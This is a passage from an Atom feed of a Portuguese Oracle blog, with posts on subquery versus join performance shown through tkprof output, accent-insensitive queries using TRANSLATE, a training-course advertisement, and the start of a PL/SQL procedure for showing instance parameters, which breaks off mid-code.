Plan&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;----------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   0      SELECT STATEMENT Optimizer=CHOOSE (Cost=729 Card=3000 Bytes=123000)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   1    0   HASH JOIN (Cost=729 Card=3000 Bytes=123000)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   2    1     TABLE ACCESS (FULL) OF 'T2' (Cost=2 Card=3000 Bytes=36000)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   3    1     TABLE ACCESS (FULL) OF 'T1' (Cost=419 Card=655473 Bytes=19008717)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX92&gt; select t2.object_id, t2.created,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2         ( select object_name&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3             from t1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4            where t1.object_id = t2.object_id&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  5         ) object_name&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  6    from t2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  7  /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;3000 rows selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Execution Plan&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;----------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   0      SELECT STATEMENT Optimizer=CHOOSE (Cost=2 Card=3000 Bytes=36000)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   1    0   TABLE ACCESS (BY INDEX ROWID) OF 'T1' (Cost=2 Card=1 Bytes=29)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   2    1     INDEX (RANGE SCAN) OF 'OBJIDX' (NON-UNIQUE) (Cost=1 Card=1)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   3    0   TABLE ACCESS (FULL) OF 'T2' (Cost=2 Card=3000 Bytes=36000)&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Note o acesso pelo índice, ou seja, olhe sua seletividade, aqui são 3000/655473, para mim compensou.&lt;br /&gt;E também pode ser notado no tkprof.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;select t2.object_id, t2.created, t1.object_name&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  from t1, t2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; where t1.object_id = t2.object_id&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;call     count       cpu    elapsed       disk      query    current        rows&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------- ------  -------- ---------- ---------- ---------- ----------  ----------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Parse        1      0.00       0.00          0          0          0           0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Execute      1      0.00       0.00          0          0          0           0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Fetch       31      0.30       0.30       1185       4385          0        3000&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------- ------  -------- ---------- ---------- ---------- ----------  ----------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;total       33      0.30       0.30       1185       4385          0        3000&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Misses in library cache during parse: 1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Optimizer goal: CHOOSE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Parsing user id: 61&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Rows     Row Source Operation&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-------  ---------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   3000  HASH JOIN&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   3000   TABLE ACCESS FULL T2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 655473   TABLE ACCESS FULL T1&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Ele teve que ler 655 mil linhas juntamente com as 3000 para depois o HASH. Muito esforço.&lt;br /&gt;Já com a subquery.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;select t2.object_id, t2.created,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;       ( select object_name&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;           from t1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          where t1.object_id = t2.object_id&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;       ) object_name&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  from t2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;call     count       cpu    elapsed       disk      query    current        rows&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------- ------  -------- ---------- ---------- ---------- ----------  ----------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Parse        1      0.00       0.00          0          0          0           0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Execute      1      0.00       0.00          0          0          0           0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Fetch       31      0.05       0.06         44       9075          0        3000&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------- ------  -------- ---------- ---------- ---------- ----------  ----------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;total       33      0.05       0.06         44       9075          0        3000&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Misses in library cache during parse: 1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Optimizer goal: CHOOSE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Parsing user id: 61&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Rows     Row Source Operation&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-------  ---------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   3000  TABLE ACCESS BY INDEX ROWID T1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   3000   INDEX RANGE SCAN OBJIDX (object id 33158)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   3000  TABLE ACCESS FULL T2&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Através do índice, ele evitou praticamente 652 mil linhas (grosso modo falando), mas o esforço foi bem menor. E para abreviar a resposta, que acho enorme, vou colocar os 2 tkprofs do 10g, basicamente é a mesma situação a GRANDE diferença é que eu tive que ralar para sair esse resultado ( até cascade =&gt; false) eu usei - e a quantidade de registros da t1 também teve que ser de 1 milhão e pouco.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;select t2.object_id, t2.created, t1.object_name&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  from t1, t2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; where t1.object_id = t2.object_id&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;call     count       cpu    elapsed       disk      query    current        rows&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------- ------  -------- ---------- ---------- ---------- ----------  ----------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Parse        1      0.00       0.00          0          0          0           0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Execute      1      0.00       0.00          0          0          0           0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Fetch       31      0.59       0.59          0       7539          0        3000&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------- ------  -------- ---------- ---------- ---------- ----------  ----------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;total       33      0.59       0.59          0       7539          0        3000&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Misses in library cache during parse: 1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Optimizer mode: ALL_ROWS&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Parsing user id: 55&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Rows     Row Source Operation&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-------  ---------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   3000  HASH JOIN  (cr=7539 pr=0 pw=0 time=94445 us)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   3000   TABLE ACCESS FULL T2 (cr=11 pr=0 pw=0 time=21060 us)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1123458   TABLE ACCESS FULL T1 (cr=7528 pr=0 pw=0 time=6740811 us)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;===&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;select t2.object_id, t2.created,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;       ( select object_name&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;           from t1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          where t1.object_id = t2.object_id&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;       ) object_name&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  from t2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;call     count       cpu    elapsed       disk      query    current        rows&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------- ------  -------- ---------- ---------- ---------- ----------  ----------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Parse        1      0.00       0.00          0          0          0           0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Execute      1      0.00       0.00          0          0          0           0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Fetch       31      0.23       0.23          0       9078          0        3000&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------- ------  -------- ---------- ---------- ---------- ----------  ----------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;total       33      0.23       0.23          0       9078          0        3000&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Misses in library cache during parse: 1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Optimizer mode: ALL_ROWS&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Parsing user id: 55&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Rows     Row Source Operation&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-------  ---------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   3000  TABLE ACCESS BY INDEX ROWID T1 (cr=9037 pr=0 pw=0 time=186784 us)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   3000   INDEX RANGE SCAN OBJIDX (cr=6037 pr=0 pw=0 time=83942 us)(object id 63397)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   3000  TABLE ACCESS FULL T2 (cr=41 pr=0 pw=0 time=21058 us)&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Não é uma materia fácil de entendimento a priori, mas se ainda ficou dúvida, coloque comentário e, na medida do possível, esclareço.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12326579-2426339363597038383?l=mportes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mportes.blogspot.com/feeds/2426339363597038383/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=12326579&amp;postID=2426339363597038383' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/2426339363597038383'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/2426339363597038383'/><link rel='alternate' type='text/html' href='http://mportes.blogspot.com/2007/05/subquery-10g.html' title='Subquery 10g.'/><author><name>Marcio</name><uri>http://www.blogger.com/profile/14157346821423310492</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='22' src='http://photos1.blogger.com/img/120/5316/640/foto_blog.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12326579.post-4656311420650175744</id><published>2007-04-27T22:59:00.000-03:00</published><updated>2007-04-28T11:34:37.265-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Duvidas'/><title type='text'>Query Ignorando Acentos</title><content type='html'>&lt;blockquote&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Olá Marcio, tudo bem contigo?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Eu estava lendo o seu blog e li o assunto sobre acentuação, fiz os testes igual ao seu e funcionou beleza.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;O que esta acontecendo comigo, instalei o Oracle 10g XE e importei uma tabela de endereços que já vieram com acentos.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Bom quando faço uma pesquisa EX:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;SELECT * FROM CEP_ENDERECO&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;WHERE LOWER(DSC_LOGRADOURO) LIKE LOWER('%ALÍPIO%')  -&gt; Retorna True&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Mas não consigo retornar um registo que esta como ALIPIO, ou seja tenho que fazer uma pesquisa com acento e outra sem.&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Para responder essa dúvida, é necessário explicar um conceito antes: 'Á' é diferente de 'A', ou seja, a letra "A" com acento agudo é diferente da letra "A" sem acento, então, quando em uma query há uma condição (WHERE) buscando por "A", o Oracle vai comparar números por trás da cena, ele compara os códigos &lt;a href="http://www.google.com/search?hl=en&amp;q=define%3A+ASCII&amp;amp;btnG=Google+Search"&gt;ASCII&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Para conseguir alcançar o objetivo de trazer os nomes ignorando acentos, é preciso uma tradução customizada das letras que possuem acento para suas respectivas, ou seja, transformar a "letra com acento" em "letra sem acento". Em minha proposta para a solução, vou trabalhar com o código ASCII das letras ao invés da figura, isso serve para fixar o conceito da diferença entre as letras acentuadas e "normais".&lt;br /&gt;&lt;br /&gt;A visualização do código ASCII é facilmente obtida através da função &lt;a href="http://download-east.oracle.com/docs/cd/B19306_01/server.102/b14200/functions046.htm#SQLRF00635"&gt;DUMP&lt;/a&gt;.  Com ela, poderemos ver a diferença dos códigos entre as letras acentuadas e não-acentuadas. Dessa forma, o Oracle utiliza a comparação dos códigos e chega a conclusão que "Atílio" &lt;&gt; "Atilio".&lt;br /&gt;&lt;br /&gt;Para exemplificar, criei uma tabela "t" com um campo "x" varchar2(20) e inseri 4 linhas. Veja a comparação da coluna com o dump ao lado.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; col y format a40&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; select x, dump(x) y from t;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;X                    Y&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-------------------- ----------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ALIPIO               Typ=1 Len=6: 65,76,73,80,73,79&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ALÍPIO               Typ=1 Len=6: 65,76,205,80,73,79&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;MÁRCIO               Typ=1 Len=6: 77,193,82,67,73,79&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;MARCIO               Typ=1 Len=6: 77,65,82,67,73,79&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;4 rows selected.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Como podemos observar a partir do resultado acima,&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;A=65 e Á=193&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;I=73 e Í=205&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Resta agora, "igualar" as letras através de tradução (&lt;a href="http://download-east.oracle.com/docs/cd/B19306_01/server.102/b14200/functions196.htm#SQLRF06145"&gt;translate&lt;/a&gt;).&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; select x, translate(x,chr(193)||chr(205), 'AI') y from t;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;X                    Y&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-------------------- ----------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ALIPIO               ALIPIO&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ALÍPIO               ALIPIO&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;MÁRCIO               MARCIO&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;MARCIO               MARCIO&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;4 rows selected.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;Note que mantive o translate apenas das letras acentuadas no exemplo acima para simplificar, porém, para uma solução ampla e definitiva, é preciso de-para de todas as letras desejadas. &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;font-size:78%;" &gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Agora podemos facilmente comparar o registro traduzido a um argumento, como o apresentado pelo autor da dúvida.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; select x from t where translate(x,chr(205)||chr(193),'IA') like '%ALIPIO%';&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;X&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;--------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ALIPIO&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ALÍPIO&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;2 rows selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; select x from t where translate(x,chr(205)||chr(193),'IA') like '%MARCIO%';&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;X&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;--------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;MÁRCIO&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;MARCIO&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;2 rows selected.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Analisando um pouco mais a solução, "de cara" salta aos olhos um problema sério de performance. Eu uso uma função em um campo e, portanto, inviabiliza o uso de índice, mas isso já é parte de outro artigo. Não deixe de pesquisar índice baseado em função para dimunir o tempo de busca deste tipo de query. Outro ponto também é o &lt;span style="font-style: italic;"&gt;"cacheamento"&lt;/span&gt; de função que começou na versão 9i e está muito melhor na versão 10g,  o Oracle &lt;span style="font-style: italic;"&gt;"cachea"&lt;/span&gt; a função e depois resolve a query, isso evita muitas vezes um exagerado número de &lt;a href="http://mportes.blogspot.com/2007/03/como-otimizar-um-plsql.html"&gt;switch de contexto&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12326579-4656311420650175744?l=mportes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mportes.blogspot.com/feeds/4656311420650175744/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=12326579&amp;postID=4656311420650175744' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/4656311420650175744'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/4656311420650175744'/><link rel='alternate' type='text/html' href='http://mportes.blogspot.com/2007/04/query-ignorando-acentos.html' title='Query Ignorando Acentos'/><author><name>Marcio</name><uri>http://www.blogger.com/profile/14157346821423310492</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='22' src='http://photos1.blogger.com/img/120/5316/640/foto_blog.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12326579.post-3525181325974415238</id><published>2007-04-23T08:34:00.000-03:00</published><updated>2007-04-23T08:59:46.560-03:00</updated><title type='text'>Treinamento - Practical Learning Oracle</title><content type='html'>Nos últimos dias, recebi vários e-mails com dúvidas sobre o &lt;a href="http://mportes.blogspot.com/2006/02/practical-learning-oracle.html"&gt;Treinamento&lt;/a&gt; que ministro. Gostaria de elucidar um pouco mais como trabalho nesse curso.&lt;br /&gt;&lt;ol&gt;&lt;li&gt;O Treinamento é exclusivo para empresas. Por que? Quando digo exclusivo, é porque &lt;span style="font-weight: bold;"&gt;escrevo&lt;/span&gt; o curso para a empresa, ou seja, não existe um curso igual a outro. Juntamente com a empresa, é discutido o "Estudo de Caso" e a partir do escopo fechado, levo uma semana escrevendo os slides, exemplos e conceitos que vou apresentar ao longo do treinamento. Todo esse material fica na empresa.&lt;/li&gt;&lt;li&gt;O "Estudo de Caso" do treinamento pode e deve ser real, portanto, a empresa terá uma discussão de um problema real. Todos os envolvidos no treinamento apreenderão com maior facilidade o que for apresentado, porque estarão atuando com a matéria diretamente no dia-a-dia. O Treinamento terá flexibilidade na agenda para desvios dentro do programa.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Para este modelo de treinamento, o número ideal para participantes é de 8 pessoas no mínimo e  20 no máximo. Existem outras modalidades, onde a discussão é mais ampla e genérica, comportando maior número de pessoas - modalidade Palestra.&lt;/li&gt;&lt;li&gt;Este curso vem com plantão de dúvida, um período onde os alunos podem acessar diretamente o instrutor com alguma dúvida extra, pertinente ao treinamento após o término do curso, que deverá ser respondida em até 48 horas do recebimento. A dúvida deve ser enviada ao instrutor somente através de e-mail e se houver entendimento por parte do instrutor, ele entra em contato on-line (Telefone ou chat). Nesses casos, no ato do contrato é definido o período do plantão de dúvidas.&lt;/li&gt;&lt;/ol&gt;Penso que esses pontos são os principais diferencias que apresento em meu Treinamento, para saber mais sobre o curso acesse &lt;a href="http://mportes.blogspot.com/2006/02/practical-learning-oracle.html"&gt;aqui&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12326579-3525181325974415238?l=mportes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mportes.blogspot.com/feeds/3525181325974415238/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=12326579&amp;postID=3525181325974415238' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/3525181325974415238'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/3525181325974415238'/><link rel='alternate' type='text/html' href='http://mportes.blogspot.com/2007/04/treinamento-practical-learning-oracle.html' title='Treinamento - Practical Learning Oracle'/><author><name>Marcio</name><uri>http://www.blogger.com/profile/14157346821423310492</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='22' src='http://photos1.blogger.com/img/120/5316/640/foto_blog.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12326579.post-7194651000725677808</id><published>2007-04-13T11:23:00.000-03:00</published><updated>2007-04-13T11:51:41.891-03:00</updated><title type='text'>Mostrar Parametros</title><content type='html'>Sexta-feira, 13. Vou escrever amenidades, sem pensar muito, então revirei algumas coisas aqui e achei uma procedurizinha, que a época, serviu bem aos propósitos. Seguinte: os analistas que desenvolvem muitas vezes não tem acesso ao "&lt;span style="font-style: italic; font-weight: bold;"&gt;show parameter &lt;...&gt;&lt;/span&gt;" e solicitam acesso a &lt;span style="font-weight: bold; font-style: italic;"&gt;v$parameter&lt;/span&gt;, então, eu codifiquei um quebra-galho para mostrar os parâmetros mesmo não possuindo acesso a &lt;span style="font-style: italic;"&gt;v$parameter&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;O código é antigo, feio, todo mundo começa fazendo código feio mesmo, não vou mexer para postar aqui, então sintam-se a vontade para mudar na medida em que necessitem. Acho que esse código eu usei com o 8.1.6, algo assim - é antigão mesmo, mas para uma sexta-feira 13, está de bom tamanho.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;O código&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;create or replace&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;procedure show_parameter ( p_name in varchar2,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   p_debug in boolean default false)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;as&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    l_intval number(7);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    l_strval varchar2(512) default 'Not found';&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    l_return 